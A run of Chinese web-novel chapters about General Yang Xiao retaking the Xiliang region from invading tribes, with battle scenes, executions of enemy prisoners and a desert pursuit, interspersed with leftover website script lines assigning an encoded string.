“启奏陛下。各地所筹钱粮已完成逾七成,剩余三成相信可在本月之内完成。除此之外,还有各路商会富豪额外捐献的钱粮尚在统计之中。” “陛下。兵部要求的盔甲、兵器等军械都在加紧赶至修复当中,目前进展还算顺利。加上立秋之前赶制出来的军械,军备仓库中所储备的军械已有大半可用。” “……。” 朝廷的各项备战事宜,之所以能进展顺利,很大程度上还是多亏了前半年的内战。正因如此,各地的军备其实早已展开的差不多了。但也正是因为这场内战,才让异族有了可乘之机。这个大概也可以算得上是祸福相依了吧。 皇帝武昭听着各部官员汇报上来的内容,时不时的点头轻“嗯”一声,看上去似乎还算满意,但他的脸上并不见多少喜色,反而还透着淡淡的愁容。西梁境的战况虽然相对的有所缓和,但总体上的形式却极不乐观。也不知道等朝廷一切准备就绪后,西梁境还能剩下多少地方。 就在各部官员正在一一汇报各自所辖事务的进展情况时。一声急促的叫喊声从殿外传来。 “青铜峡八百里里加急!青铜峡八百里里加急!……!” 这段时间以来,西梁的战况牵动着朝堂上每一个人的心。每一次战报传来,都让人揪心不已。只因这些传回来的战报绝大多数都是坏消息。 一名疲惫至极的传令兵被四个侍卫抬进了大殿。那传令兵的腰间插着一面金地红字的三角令旗,手中的竹筒上,封黄泥贴红签,上面还有三根白色羽毛。 在周王朝军报中,八百里加急、金地红字的三角令旗、红色的封签,都代表着最紧急的军报。沿途驿馆必须全力支持,第一时间放行。持报人必须面呈皇帝。各路人员胆敢阻拦者,诛灭三族。而上面的羽毛数量则代表着等级不同的消息。三根白色羽毛代表着决定战争走向的好消息。反之,如果是三根黑色羽毛的话,那就是大大的坏消息了。 什么样的好消息才会用上这等最高级别的军报呢?要知道,就连西梁城得以解救的消息都没有用到这个级别的军报。而前几次用上这个级别的军报,无一不是黑色翎羽。 皇帝武昭一见是此等白色军报,立刻起身“噔噔噔”的从玉阶上走下来,亲手接过那只竹筒。 接过竹筒,皇帝武昭的手都不由得有些微微颤抖。撕掉封条,拆开封泥。打开竹筒的盖子。皇帝武昭拿眼睛往竹筒里一瞧。 之所以会这般紧张,是因为这样的军报除了级别是真的外,里面的内容却不一定是那三根羽毛所代表的。有时候为了稳定军心,会故意把坏消息伪装成好消息。 竹筒内,一卷黄色的信笺静静的躺在里面。 “黄纸金笺。是前方大捷的好消息无疑了。”皇帝武昭悬着的一颗心终于落地了。 展开信笺后,当看到那行“西梁虎威将军杨笑谨呈我大周圣皇帝陛下捷讯”的字迹后,皇帝武昭的脸上便不由的有喜色浮现。他越往后看越是高兴,看到后来竟是不由得哈哈大笑起来。 “青铜峡大捷,杨将军追敌三百里,大胜而归。”皇帝武昭。大笑着宣布道。 朝堂众臣本来就被这封情报吸引了全部的注意力,心情也不由跟着起起落落,现在听到皇帝亲口宣布前方大捷的消息,众人立刻伏地叩拜,高呼:“陛下洪福。” 皇帝武昭,大袖一挥:“传旨,朕要御驾亲征!” 到底这一封捷报对大周王朝来说意味着什么?西梁境的战况又会迎来怎样的转机?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百四十二回 杀无赦 杨笑从台阶山外返回的时候,正好遇上李伯通和马致远等人带领兵马进入二山关。见到杨笑后,李伯通等人连忙上前叩拜。 “末将李伯通……马致远……武俊山……呼延灼……韩擒虎……王燕兴……韩元吉……史玉虎……史玉彪……孙宁……王轩……刘宝林……杨虎……杨豹见过将军!” 哗啦啦……。众人在杨笑跟前跪倒一大片,齐声高呼道。 这支军队是杨笑出二山关,破圣京城,并且一路打到东安王领地时带出来的,对于这支军队的情况那叫一个了如指掌,指挥起来自然得心应手。可以说,这支军队就是杨笑的嫡系部队。 杨笑见到他们也是心绪振奋,抬手朗声道:“众将快快请起!” 李伯通起身后,上前一步,拱手道:“将军在青铜峡以少胜多,大破敌军的消息,如今已经传遍了全军上下。将军此举,真可当我西梁第一虎将。” 杨笑摆手笑道:“也许小胜罢了,李将军过奖了。” 这时马致远上前道:“将军,大皇子他们已经往西梁城去了,我等受命向南阻挡藩族兵马。” 杨笑问道:“可有具体授命?” 马致远摇头。 李伯通接着说道:“我等商定的计划是,先往贡州,然后斜插望山府。这样一来,就可以切断关西平原地界上藩军的后路。到时候,他们就只有往西逃的份儿了。如此一来,整个关西平原便可尽数收复。” 如果能收复关西平原,那么被藩族占据的失地基本上就收复了一半。 听完李伯通等人的计划后,杨笑点头道:“陛下已将西梁虎符交于我手,凡是进入西梁境的兵马,就都要受我的节制。既然陛下没有具体授命与你等,那西梁城那边就先让大皇子他们顶着,咱们这就往贡州府出发。” 待众人纷纷起身上马后。杨豹却走到杨笑的身边,拍拍他的肩膀,轻声说道:“你也该回家看看了。” 望着低头离开的二叔,杨笑的心里一时间五味杂陈。他抿了抿嘴唇,然后便跳上虎背,率领大军往南而去。 …………岫阳府。 在阿霍都的率领下,狄戎族一路攻城拔寨,很快就到了岫阳府的府城外。就在他视察完己方的攻城准备和岫阳城上的防守情况,想要第二天一早就发起攻城大战的时候,忽有有一骑向他飞奔而来。 ……阿霍都看着手里的羊皮卷,轻叹了一声:“看来我们不得不往回走了。” 一旁的班布善问道:“怎么了?” 阿霍都没有说话,而是把手里的羊皮卷递给了他。 班布善接过羊皮纸,看完上面的内容后问道:“大王打算什么时候动身?” 阿霍都回道:“自然是越快越好。” 原本在阿霍都的计划中,拿下岫阳府后,便可与藩军合兵一处,到时候横扫西梁镜,直逼二山关外,整个西梁境就都在自己的手里了,西梁城自然唾手可得。只可惜人算不如天算,西梁军还是快了自己一步。现如今虽然兵临岫阳城下,却也只有望城兴叹的份儿了。 另一人看过羊皮卷上的内容后,愤然道:“这帮废物!” 班布善却说道:“怨不得他们,只怪那个杨笑太妖孽了。” 阿霍都叹道:“唉呀!到头来白忙活一场。就这么空手而归,多少有点不甘心呐。倒是那些藩族人,专挑些富庶之地,想必捞了不少好东西呀。” 身后一名将领愤愤道:“要不是这帮家伙们胡乱瞎打,现在整个西梁境已经是我们的掌中之物了。” 阿霍都啧了一声:“多说无益。传我军令,全军撤退。” …………贡州府。 因为西梁王出二山关时,杨笑和李伯通从这里带走了不少人马,再加上后来各处的连番大战,又调走了一部分人。现在藩族人兵临城下,贡州府却拿不出多少兵力来抵挡了。只好紧闭城门,坚守待援。 这边,藩族人围住贡州城后却不急于攻打,而是分出一小部分兵力绕过东仓县城,直扑黑虎山庄而来。 领兵的是一个叫做卓尔萨的大胡子将领。此人在藩军中的地位大致相当于李伯通在西梁军中的地位,藩族人派出这样一名重将前来攻打一个小小的山庄,可见黑虎山庄在他们眼里的重要性。 卓尔萨骑在马背上,一手持缰,一手抚着自己的大肚皮,趾高气昂的和身边的下属说着:“……我们要把他老婆的棺材夺过来,用它来好好的打击一下这位虎威将军作为一个男人的自尊心。” 他身边的下属们听到后,全都哈哈大笑起来。 “连自己老婆的棺材都看不住,我看他还有什么脸在这个世上混。” “咱们就是要让他在全天下都丢尽脸面。” “我要是他,干脆找个雪堆,一头撞死得了。” “还什么虎威将军,我呸!到时候让他做个鼠威将军。” “啊哈哈哈哈……。” 一群人在一起自顾自的怪笑着,他们还没有意识到,等待他们的将会是什么样的可怕后果? 如今的黑虎山庄,早就不是姐弟俩刚接手时的小山庄了。山前高墙环绕,内里深宅大院。山后矿场繁忙,一座座工坊连成一片,是一处规模不小的采矿、冶铁和军械造办之地,更有不少的军队驻守。 藩族人也没想到,一座小小的山庄,竟会是一块难啃的硬骨头,打了半天,才只是摸到山庄的院墙而已。 卓尔萨气急败坏的叫道:“这小地方是刺猬做的不成?上!都给我上!谁要是敢后退半步,我要他全家的脑袋!” 虽说挡住了藩族人的几次进攻,但山庄里的人抵挡的也并不轻松。一个汉子蹲在墙头后面一边包扎腿上的伤口,一边忍不住骂道:“这帮狗娘养的藩族人,脑袋是榆木疙瘩做的不成?步军冲完骑军冲,骑军冲完步军冲。就知道个死冲,就不知道换个方法?” 他身旁一名同伴,一边拿着树枝把敌人射过来的弓箭扒拉到自己的脚边,一边说道:“呦!你刘老五打算帮他们想个招儿啊?” 那汉子骂道:“屁!我帮他们想招?我他妈帮他们想想一会儿怎么去死吧。” 山庄里的人虽说已经奋力抵挡,奈和敌人的数量太多,攻势实在是太猛,山庄的大门还是被攻破了,大家只能边打边往后撤。 在杨笑原先居住的院子里,五公主的灵柩还安放在这里。有几十名公主亲卫就守卫在灵柩旁。卫队长见山庄的大门被攻破,于是赶忙跑回院子里大喊着:“保护公主灵柩!……。”他一边派人抵挡藩军,一边与剩下的亲卫们抬起五公主的棺椁就往山上撤退。 大家且战且退,很快就全都退到了黑虎山上。五公主的灵柩被重新安置在山洞里,一同被安置在这里的还有军械工坊的老工匠和矿场里的老师傅们。他们是山庄里不可多得的宝贵人才,在杨落儿的授意下,被很好的保护了起来。 山庄里的驻军、长工、矿工,还有从附近村镇里逃过来的村民们,全都被组织起来抵抗敌人的进攻。即便如此,还是被打得节节败退。没用多长时间,就全都退到了山洞前。 藩军这边打的其实也不怎么轻松。卓尔萨万万没想到,一个小小的山庄会让自己付出这么重的损失。这样的损失既让他愤怒,又让他心疼,同时也让他意识到了这个地方的不同寻常。 “这么小的地方就会有这么强的防守,说不定这里还会有其他什么意外的收获呢。”卓尔萨这样想着。 想到这里,卓尔萨便有些迫不及待了,想知道这个小地方还会给自己带来什么样的惊喜。 “还不快上?不要给他们喘息的机会。”卓尔萨再次催促手下发起进攻。 又经过几轮进攻后,山上的人已经死伤大半。见他们彻底陷入了绝境,卓尔萨便喊道:“我劝你们还是乖乖的投降吧,不要再做无谓的挣扎,趁本将军现在心情好,只要你们交出那口棺材,还有全部的财宝,本将军就考虑放你们一条生路。” 仗打到这个时候,早就没什么谁需要保护,谁不需要保护的说法了。那些老工匠,老师傅们也早已拿起了兵器,在这最后的时刻,来尽自己最后的一份力。整个山庄仅剩的百十号人全都聚在山洞外,准备着最后的殊死一搏。 杨落儿让大家把山洞里所有的酒全都搬了出来,打算在最后时刻一把火下去,和敌人来个同归于尽。听到藩族人的劝降声后,杨落儿厉声回道:“我杨家与你们这些藩狗不共戴天!想要让我投降?呸!做你的春秋大梦去吧。” 卓尔萨冷哼一声:“敬酒不吃吃罚酒。一个不留!” 眼瞅着敌人再次冲了上来,众人连忙把手里仅剩的弓箭全都射了出去。射完了弓箭,就搬起石头往下砸。等到身边石头也砸完了,众人于是搬起一坛坛酒水砸向冲上来的敌人。一时间山洞前的一大片山坡上全都淌满了酒水,连同山洞里也全是酒水。浓烈刺鼻的酒味充斥在山间。 山下的卓尔萨看到自己的士兵们已经冲到山洞前,就在他刚想要洋洋得意的时候,一名手下慌慌张张的跑过来:“不好了,将军,不好了。” “什么事这么慌张?”卓尔萨不满道。 那名手下结结巴巴的说道:“我们好像……好像被包围了。” “嗯?”卓尔萨惊疑一声,连忙向山庄外望去,只见山庄外已经有密密麻麻的西梁军围了过来。 卓尔萨见状,大惊失色:“快撤,快撤!”说着就挥动马鞭,带领身边的手下们往山庄的大门处飞奔而去。 山洞前,杨落儿等人眼见敌人已经冲到了跟前,自知无力抵挡,正要引燃手中的火把,与敌人来个同归于尽的时候。却又见敌人纷纷快速退去,正疑惑间,忽然听到一声:“扰我爱妻者,杀无赦!” 那声音自山庄外远远的传来,响彻于天地之间,也响在众人的心头。 “笑儿,是笑儿,是我兄弟回来了。” 杨落儿听到那个声音后,由初开始绝处逢生后的难以置信,再到后来确定无疑后的激动不已,一时间有些情不自禁的潸然泪下起来。只觉得这世间只要有自己的兄弟在,一切就都会太平安然。只要有自己的兄弟在,天就不会塌下来。就连杨落儿自己也不清楚是从什么时候开始,这个男人在不经意间,已经成了自己最大最安稳的依靠。 山洞前,本来已经陷入绝望的众人,在听到这个声音后,立刻欢呼雀跃了起来。仿佛这世间再也没有比这更让他们觉得好听的声音了。 卓尔萨带来的人,在层层包围之下,一个也没能逃出去。 解决完山庄里的来犯之敌后,杨笑来到五公主的灵前。他轻抚面前的棺椁,就好像在轻抚着妻子温柔的脸庞,杨笑的眼中有无限的柔情,往日里与妻子的种种仿佛历历在目。只可惜,他再也感受不到那份温柔了,入手之处,只有凉冰冰的木板。沉痛中的杨笑,忽然间眼神变得凌厉无比,一双眼睛里满是杀气。他转身揪住地上那个胖子的衣领,卓尔萨立刻吓得屁滚尿流,不住的求饶。 杨笑盯着他的眼睛,厉声道:“今天就先杀了你,为我的家人报仇!” 卓尔萨在一阵鬼哭狼嚎中被杨笑拖到了山洞外,紧接着就是一声惨叫传来。 惨叫声把杨落儿吓得身子一紧。 虽说刚刚经历了一场生死血战,但她毕竟是一个柔弱女子,对于人临死前一刻的那声惨叫,她还是有些难以免疫。 很快,杨笑就拎着一颗血淋淋的人头走了进来。 杨笑把卓尔萨的头颅摆在五公主的棺椁旁,那里供奉着他父母的灵位。杨笑上了一炷香,跪在父母的牌位前说道:“我杨家的血海深仇,孩儿一刻也不敢忘。二老在天有灵,保佑孩儿手刃仇敌。”说完后拜了三拜。又走到五公主的灵前,手抚棺椁轻声说道:“五儿,你就在天上,看着为夫让那些贼人百倍偿还。” 杨落儿一直陪在兄弟的身边,本来想上前安慰几句,可又不知道自己该说些什么。再加上看到那颗血淋淋的人头,她还是有一些害怕。于是伸到一半的两只手,伸也不是,收也不是,反而是杨笑扶住她的手臂安慰道:“笑儿来的有些迟了,让姐姐身陷此等险境……。”杨落儿连忙止住他:“姐姐没事,只要笑儿你能平安回来,姐姐就一切都好。”……姐弟俩一边说着,一边向外走去。 杨笑此去如何驱逐仇敌?又是否能为父母妻子报仇?欲知后事如何,且听下为分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百四十三回 大战贡州城 在大周王朝,狄戎族和雪藩族中一直流传着这样一个说法:天底下的军队分为两种,一种是西梁军,另一种是其他。 自从进入西梁境以来以来,藩族的军队便一路攻城拔寨,所过之处未尝败绩。慢慢的,便觉得西梁军也不过如此嘛,哪有传言中说的那般厉害?于是,军中上下慢慢的便形成了一种傲慢轻敌的骄兵习气。 数十万大军的动向不可能瞒得过敌人的耳目。当贡州城外的藩族人得知西梁军到来的消息后,并没有选择暂避锋芒,而是打算以逸待劳,给远道而来的西梁军已迎头痛击。 此处的统兵之将叫做特玛哈诺。特玛部落是雪藩族九大部落之一。特玛部落在藩族的九大部落中虽然算不上拔尖,但特玛哈诺的亲姑姑却是藩族的王后。而这位将来注定要继承族长之位的特玛哈诺,也在姑姑的安排下迎娶了一位王族公主,所以这个特玛部落在雪藩族中的地位还是很特殊的。 杨笑初出二山关时,手底下只有六万多兵马,半年的功夫,一路平推,破圣京城,过分天岭,一直推到东安王的领地。六万将士愈战愈勇,队伍越打越是壮大,到攻打东安王时,已由原来的六万人扩展到了三十余万人马。这三十多万兵马可都是实打实的打出来的,在这其中没有任何一支队伍是在里面滥竽充数的,真可谓是兵强马壮,兵多将广。 两支军队在一望无际的平原上展开了对峙,誓要与对方一决雌雄。 特玛哈诺在马上望着对面问道:“对面的统率之人是谁?” 身边的下属回道:“似乎是这座城池的刺史。” “嗯?”特玛哈诺疑惑一声,接着问道:“就是那个姓李的贡州刺史吗?他不是跟着他的主子造反去了吗?怎么这么快就回来了?” 下属回道:“回少族长,咱们进入西梁境也有两三个月了,照日子算的话,这位李刺史这个时候回来,也不算早了。” 特玛哈诺哦了一声:“管他早来晚来,既然让咱们碰上了,正好抓他一块儿进城。” 下属提醒道:“看样子对面的人马也不少,少族长还是多加小心为妙。” 特玛哈诺摆摆手,不以为意道:“诶!他们赶了几个月的路,早已疲惫不堪,咱们以逸待劳,兵力上也占据优势,难道还怕他们不成?” 那下属还想再提醒自家少主一句,却被特玛哈诺打断道:“你的意思本少主都知道。不就是个李伯通嘛,本少主会小心的。”说罢便下令道:“来呀,摆开军阵。” 身后传令兵挥动旗帜,各部将领看到令旗后,立刻向手下的军卒们命令道:“准备进攻!” “哗!哗!哗!……!”一队队军卒们组成的方阵缓缓移动,摆开阵势。 杨笑这边,武俊山打马出列,扬起手中的马鞭,指着对面骂道:“藩族狗贼!尔等胆敢犯我西梁疆土,惊扰我大周公主,我家将军夫人的亡灵,今日便要尔等有来无回,好叫尔等知道我西梁军威。” 见对面有人骂阵,藩族这边也派人出来回骂道:“我家少族长,让你这条疯狗闭嘴。少族长说了,只要你们缴枪投降,金票……。”啊,不是。“只要你们放下兵器。少族长大发慈悲,可以考虑放你们一条生路。” 武俊山回道:“无知狗贼,死到临头尚不自知。我西梁军威岂是尔等鼠辈可知?” “狗屁的西梁军威,老巢都被我们给端了。” “哈哈哈……。”从藩族的军阵中传出一阵嘲笑声。 武俊山骂不过对方,被气得脸色涨红,正不知道该如何回敬对面的时候,见杨笑来到他的身旁。武俊山忙请罪道:“将军,末将笨嘴拙舌骂不过他们,给将军丢脸了。请将军治罪。” 杨笑并没有责怪他的意思。之所以派他出来骂战,就是知道他笨嘴拙舌骂不赢对方。原因就在于,骂赢了固然有助于己方士气,灭对方威风。但眼下的情况却是,骂输了,反而对己方将士们的激励更大。为什么呢?原因就在于,被敌人侵占家园后,将士们同仇敌忾自不必说,但刚一碰面上场骂阵的时候就输了的话,将士们必定会更加怒火中烧,这时候,人人都憋了一肚子火气,等到开战的时候,自然就会把满腔的怒火都发泄到敌人的头上去。这样一来,全军上下在整体上的战斗力就会更上一层楼。当然,这一切都是李伯通的主意。用他的话讲,就是:骂赢了有赏,骂输了大大有赏。 见对面换了对阵之人,藩族这边自然少不了一阵嘘声嘲弄,只不过杨笑对此并不理会就是了。他出来的目的只是想看看对面到底是哪些部落的人?统兵之人又是谁? 特玛哈诺身边的下属见对面换了人,立刻向自己的主子提醒道:“少主,此人一身黑甲,又骑一只黑虎,想必就是那个杨笑了。” “嗯?竟然是他?”特玛哈诺面色稍变道。 那下属接着说道:“据金帐王那边传来的消息,此人的本事足可匹敌那些异人。” 听闻此话,特玛哈诺冷哼道:“那又如何?在本少主这万千军阵面前,他一个杨笑又能掀起多大的浪来?” 随即,特玛哈诺扯动嘴角猥琐一笑,将那正在与西梁军对骂的下属招呼过来,对他耳语了几句。末了两个人还嘿嘿嘿的怪笑了起来。然后那名下属便走到阵前高声叫道:“喂!对面那个姓杨的小子,我家少主问候你了。要不是你那个短命的老婆死的早,我家少主定要让她在胯下好好的快活快活。”说罢就“桀桀桀”的大声怪笑了起来,引的整个藩族军阵也跟着嘲笑起来。 对于这样的羞辱杨笑反而出奇的平静。只见他驱使小黑上前几步问道:“你是哪个部落的人?” 那下属回头见自家主子对自己点头示意,便得意的向杨笑说道:“说出我家主人的名号来,吓你小子半条小命。我家主人乃是特玛部落的族长!”说着还用大拇指朝身后指了指:“看到了吗?这位,就是我家少族长!” 杨笑移动目光,抬眼看了特玛哈诺一眼,淡淡的说了一句:“知道了。”随后便向身后招了招手。 上百个藩族的俘虏被押在了阵前。 这些俘虏都是先前攻打黑虎山庄的藩族人。 被按在地上的俘虏们不住的嚎叫着:“饶命啊,饶命。救命啊,少族长救命。特玛少族长救救我们啊!” 杨笑这时候只觉得这些家伙们聒噪的很,不待他们鬼叫上几声便 下达了命令。 传令兵高声传令道:“祭旗!” 手起刀落间,百十颗人头纷纷滚落在地。 阵前祭旗让西梁军的士气一下子高涨到了极点,从军阵中传出一阵阵雄壮的吼声。数十万吼声汇聚而成一股汹涌澎湃的声浪。汹涌的声浪一浪高过一浪,将西梁军的士气烘托到了极点。 李伯通挥手道:“擂鼓!” 轰隆隆的鼓声中西梁军已经做好了进攻的准备。 鼓声中,杨笑高坐虎背,轻轻的向前一挥手,下达了进攻的命令。 “进攻!……进攻!……!”西梁军中令旗挥动,一声声进攻的命令声从各个方阵中传出。 千军万马立刻如潮水般涌向敌军。 似这般规模的军阵冲杀,哪有什么一字长蛇阵、二龙出水阵之类的讲究?用二叔杨豹这个莽夫的话来讲:无非就是横成行,竖成列,你乱刀砍来,我乱枪刺去,砍过了对面,那你就赢了,砍不过的话,那就算球。 杨豹虽说经常满嘴胡诌,但有些看似粗鄙的话,却也不无道理。在一些大规模的战场厮杀中,有时候保持住整齐的队形,确实要比摆出什么所谓的阵型更重要。 当然了,排兵布阵的顺序还是要讲究一下的。正所谓世事无绝对嘛。而这个排兵布阵的讲究,就讲究在如何避实就虚,扬长避短。就看谁的军队更能够令行禁止,就看谁能在瞬息万变的战场环境中抓住敌方的弱点和漏洞,并集中优势兵力将其迅速击溃。 另外,看一支军队的战斗力如何,还可以从这支军队的披甲率来判断。因为甲胄对一支军队来说实在是太重要了。良好的甲胄防护可以让一支军队的战斗力直接提升一个量级不止。再有一点,就是看这支军队是否具有灵活的机动能力了。 意志坚定,军纪严明,甲胄齐全,机动灵活迅速,其战斗力必然不会差了。反之的话,那就真是哈巴狗撵兔子,图跑不能跑,图咬不能咬了。试问这样一支稀烂的军队,除了挨揍的份儿,还能干什么呢? 杨笑麾下这支精锐的百战之师,其攻防之力自不必说。重甲步骑全副铁甲,轻甲步骑穿的则是在胸腹等重点部位有铁甲加强的皮甲和布甲,简直就是一支武装到了牙齿的虎狼之师。其攻防之力,就算是在以战力强悍而着称的西梁军中,那也是拔尖的。 而特玛哈诺所率领的军队,虽说披甲之士也不在少数,但他们穿的大多是皮甲、藤甲之类的,防护能力比较弱的甲胄。更重要的是,藩兵们分别来自不同的部落,平时根本没有进行过统一的训练,因此相互之间的配合就不那么尽如人意了。 两相对比之下,高下立判。就算藩兵在人数上占了一些优势,还是在西梁军的重甲冲锋、轻甲袭扰之下,被打得节节败退。 同时,贡州城内的守军在双方交战正酣的时刻,当即打开城门,全力出击,也加入了战团。多面夹击之下,特玛哈诺被打得毫无招架之力,还在敌军之中被射了一箭,于是他率领的军队很快就溃败而去。 自从西梁有事后,将士们便从东安王的领地一路穿分天岭,过二山关,马不停蹄的往回赶。一连赶了数千里的路,紧接着就又经历了一场大战,全军上将已经疲惫到了极点,于是不得不在贡州城内先休整一下。 经过一番休整后,养足了精神的将士们,一路势如破竹,直插望山府的背后,断了藩军在关西平原的后路。使得关西平原内的藩军不得不向西撤退。 此役之后,西梁境最富庶的关西平原尽数收复。 率军乘胜出击的杨笑,能否顺利的将藩军彻底驱逐出境收复失地呢?杨笑在望山府里又遇到了什么?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百四十五回 迷失黄沙岭 大皇子武恭火急火燎的赶到西梁城的时候,城外的狄戎族人已经全都撤走了。于是憋了一肚子火,没地方撒的武恭,只好把狄戎族人的母亲全都给问候了一遍,然后就进城去问候自己的母亲去了。 在西梁城休整几日,等自己的人马全都到齐后,武恭便立刻动身往西南而去。狄戎族人没逮到,抓几个从关西平原上逃出来的藩狗也不错。于是,一部分刚刚摆脱了杨笑的藩族人,又被武恭堵在路上好一顿蹂躏。 ……。 常言道:兵败如山倒。山倾之时,不是什么人都能够“挽狂澜于既倒,扶大厦之将倾”的。 这一边,杨笑一路追击,接连被教训了几顿的藩族人,除了丢盔弃甲,望风而逃之外,再不敢有丝毫其他的念头了。这期间,那名望山城的幸存者醒来后,从其口中得知,一个名叫“阿都苏力”的家伙可能牵扯到望山城惨案之中。而从抓获的俘虏中也证实了这一点,除此之外,再无任何线索。 杨笑和武恭最终在岫阳府碰了面。岫阳城外,两班人马会面后,杨笑率先上前拱手道:“见过殿下。” 武恭上前扶住杨笑:“妹夫不必多礼。” 杨笑站直身子后,将在场之人扫视一圈,却没见到梁赞的身影,便向武恭打听了起来:“梁将军呢?他不是一直跟你在一块儿吗?” 武恭闻言把手一摆:“嗨!别提他了。我们到了北静王那边没几天就接到了强敌入侵要我们速速回援的旨意,谁知道到了临出发的时候,他说他也接到了陛下的旨意,说陛下有更重要的事情要他去办,不能跟我们一起回西梁了。我也不知道还有什么事情能比强敌入境更重要的。”武恭发完自己的牢骚后便向杨笑问道:“哎,不说他了。你那边怎么样?” 杨笑听说梁赞不知道去哪儿了,便在心里嘀咕一声:“怎么这个时候不见了?我还有好些事想要问他的。” 听到大舅哥问自己话,于是就把望山府的事向众人说了一遍。 武恭这边还不知道望山府的事情,听杨笑说完后,在场之人无不动容,都对藩族的这一禽兽行径破口大骂。誓言要为死去的百姓们报仇雪恨。 说到了望山城,杨笑便顺带提起了阿都苏力这个人,还说到此人是现在唯一的线索,有可能知道望山城惨案的真凶是谁。 这时,娄城刺史身边的一名副将忽然说道:“我好像听说过这个人。” 众人听到后,全都看向那名副将。 娄城刺史也扭头看向自己的这名下属:“你知道?” 杨笑更是喜出望外:“这位兄弟,你真的知道这个叫做阿都苏力的人吗?” 那副将点点头。然后起身向自己的顶头上司拱手道:“刺史大人,您肯定知道霍罗部落吧?” “那是咱们娄城边境上最大的藩族部落,本刺史当然知道。” 那副将接着说道:“这个阿都苏力就是霍罗部落底下的一个小部落里的人。前两年末将在边境上驻守的时候,还跟这个阿都苏力有过交集呢。” 武恭这时候问道:“你的意思是说,望山城的事,有可能是这个霍罗部落干的?” 娄城立刻否定道:“不可能。这个霍罗部落在藩族里连个二流部落都算不上,他们没有这个实力。” 那副将说道:“殿下和刺史大人说的都没错。不过,霍罗部落虽然没有这个实力,但他们很有可能参与了其中。不要忘了,霍罗部落的背后是藩族的第二大部落:雄鹰部落。现在,我们只要抓住霍罗部落的人,一问便知。” “那你们有没有抓到霍罗部落的人?”杨笑赶紧问道。 “哎呀!可惜呀。”武恭身后,一个身穿灰布衣的中年人抬手说道:“藩狗们倒是抓了不少,可是唯独没有这个什么霍罗部落的人。这帮没种的家伙,在我们到来之前就四散而逃了。” 武恭往身后看了一眼,转而又向杨笑说道:“王师傅主管俘虏的登记和审讯,他说的应该没错了。” 杨笑又把目光望向这位王师傅:“王师傅可曾探知到这些人的下落?或者是那个雄鹰部落的消息?” 那王师傅起身向杨笑一礼后说道:“回杨将军。据说他们是分成了几股,往不同的方向逃跑了,其中离我们最近的一股似乎是往西北而去的。因为这帮家伙们在藩族里是带头逃跑的,就连藩族人对他们这种临阵脱逃的行径也是满腹怨言。所以,在下有一些印象。” 杨笑听到王师傅的话后便拱手道:“多谢王师傅。诸位,杨某这就前去追查。” 武恭连忙提醒道:“妹夫,往那边没多远就是茫茫戈壁,你此去要多加小心,千万不可深入。” “杨笑知道,多谢殿下提醒。”杨笑说罢便朝众人拱拱手,随即带人离去。 且说杨笑带人一路追出了二三百里,才看到一伙藩族人正在路边的小树下歇脚。不用杨笑招呼,早有一队轻骑加速追了上去。 那伙藩族人本以为自己已经跑出去这么远了,应该不会有西梁军再追上来了,谁知道刚在路边歇了没一会儿,就又有西梁军追了上来。没办法,终归还是命要紧。于是,一伙人不得不拖着疲惫的身躯继续跑路。 可两条腿的人怎么可能跑得过四条腿的马呢?不要说他们一连逃了几天的路,现在是又冷又饿又累,就算是让他们吃饱喝足穿暖,再养足了精神,那也不可能赶得上四条腿的马不是? 没跑多远,一伙人就先后跪在地上举手投降了。没办法,终归还是命重要。这会儿乖乖的投降,总好过被人撵个半死后再一刀砍死的强。 骑卒们将这伙藩族人围在中间。为首的校尉提着刀喝问道:“你们是哪个部落的人?” 一众藩族人一边躲避着身边躁动的马蹄一边磕着头回答道:“我们都是霍罗部落的人……我们这些人都是被迫来这里的……我们都是在军营里混日子的,我们什么都没干……求大人不要杀我们……。” 那校尉喜道:“霍罗部落的人?好,好的很。你们的族长在哪里?” 藩族人愣了愣:“族长?族长好几天前就跟我们分开了,我们也不知道族长在哪里。” “霍罗部落可不在这个方向,你们是怎么跑到这里来的?”校尉问。 “我们迷路了,又不敢往回走。所以就只能硬着头皮一直走到了这里。”藩族人回道。 “就你们这些人吗?还有没有其他人?”校尉问。 “有,有。还有阿都热部落的人。”藩族人回。 “那他们人呢?”校尉问。 “他们昨天在上个路口跟我们分开了。”藩族人回。 “知不知道领头的是谁?”校尉问。 “知道,知道。是一个叫阿都苏力的家伙。就是他把我们领到这边来的。”藩族人回。 ……那校尉把得到的消息回报给杨笑后,杨笑道一声:“真是得来全不费功夫。”便亲自带领五百骑寻路追击而去。 ……。 在荒无人烟的茫茫戈壁追了两天后,前方出现了一道道连绵不绝的沙丘。这些或大或小、或高或矮的沙丘一直绵延到视线的尽头,仿佛无边无际一般。就在这些沙丘上,有一片小黑点正在缓慢的移动着。仔细看的话,可以发现那些小黑点竟然都是一个个的人。正是杨笑要寻找的阿都苏力所率部众。 又追了大半天的功夫,终于接住了阿都苏力等人。 “谁是阿都苏力?”杨笑在马上喝问道。 人群中一个四十多岁的汉子上前一步将族人护在身后,对着杨笑一拍胸口说道:“我就是阿都苏力。有什么事都冲我来,不要为难我的族人们。” 杨笑道:“好,是条汉子,放下兵器,本将军不为难你们。” 阿都苏力把手里的刀慢慢的放在沙子上:“希望你说话算话。” 杨笑冷哼一声:“你们没得选择。” 待所有藩族人都放下武器后,杨笑翻身下马走上前去,一把将阿都苏力从地上揪了起来,拿刀架在他的脖子上逼问道:“说,望山城的事是谁干的?” 